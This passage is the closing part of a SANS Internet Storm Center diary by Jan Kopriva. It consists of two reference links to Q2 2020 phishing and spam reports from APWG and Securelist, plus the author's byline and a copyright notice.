[1] https://docs.apwg.org/reports/apwg_trends_report_q2_2020.pdf
[2] https://securelist.com/spam-and-phishing-in-q2-2020/97987/

———–
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.